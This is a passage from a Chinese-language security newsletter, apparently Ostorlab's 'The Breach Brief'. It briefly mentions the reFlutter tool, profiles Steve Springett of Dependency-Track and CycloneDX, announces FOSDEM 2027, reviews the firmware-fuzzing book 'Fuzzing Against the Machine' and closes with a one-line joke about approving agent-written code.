研究人员仍然需要分析逻辑、测试服务器的行为,并复现任何疑似的薄弱环节。

reFlutter 帮助研究人员检查 Flutter 应用包含什么内容,以及它如何通信。


👏 本周人物

Steve Springett

本周,我们要介绍的是 Steve Springett,他是 OWASP Dependency-Track 的创建者,也是 CycloneDX 的创始人。

Steve 于 2013 年创建了 Dependency-Track,帮助组织跟踪其使用的组件以及由此继承的风险。后来他创立了 CycloneDX,该格式于 2024 年成为国际标准。

CycloneDX 为软件物料清单(SBOM)——即应用中所含组件的清单——提供了一种通用格式。Dependency-Track 会分析这些清单中的已知漏洞和许可风险,帮助安全团队找出受影响组件在其各个应用中的使用位置。

他构建的标准和工具帮助组织了解其软件中包含什么、并管理随之而来的风险,因此,Steve Springett 当选本周人物。


📅 本周活动

FOSDEM 2027

如果您想直接听听那些构建您的应用所依赖的开源软件的人怎么说,FOSDEM 2027 值得关注。

FOSDEM 由志愿者组织,每年吸引超过 8,000 名开发者齐聚布鲁塞尔。活动包括技术演讲、项目展台以及由社区主导的“开发者分会场”,贡献者们在那里讨论特定技术并分享自己的工作。

2027 年的议程仍在筹备中。2026 年的活动涵盖了安全、软件供应链、数字取证、容器和移动开发,以及编程语言和云基础设施等主题。参会免费,无需注册。

📍 比利时布鲁塞尔 ULB Solbosch 校区

📅 2027 年 1 月 30–31 日


📚 本周书籍

Fuzzing Against the Machine

作者:Antonio Nappa 和 Eduardo Blázquez

当不可能拥有每一台设备时,该如何测试固件?

Fuzzing Against the Machine 讲解了研究人员如何将 QEMU 与 AFL 和 AFL++ 结合起来,在仿真环境中运行软件、向其输入不断变化的数据,并观察可能揭示漏洞的故障。

本书先介绍仿真和模糊测试的基础知识,然后转向针对嵌入式系统和专有固件的实践环境。书中的示例涵盖 OpenWrt、Samsung 的 Shannon 基带,以及来自 iOS 和 Android 的库。书中还展示了调试器和反汇编器如何帮助研究人员调查模糊测试工具发现的问题。

它的主要优势在于把这些工具串联成一个完整的工作流程。读者可以看到仿真、插桩、模糊测试和崩溃分析在漏洞研究中如何协同工作。

对于希望在不完全依赖物理硬件的情况下、以实践方式入门漏洞挖掘的安全研究人员、固件工程师和移动安全测试人员来说,这是一本很有用的读物。


😅 本周梗图

如果一个智能体编写的代码通过了所有测试,在批准它的工作之前,您的团队还需要了解些什么?

The Breach Brief,Ostorlab 团队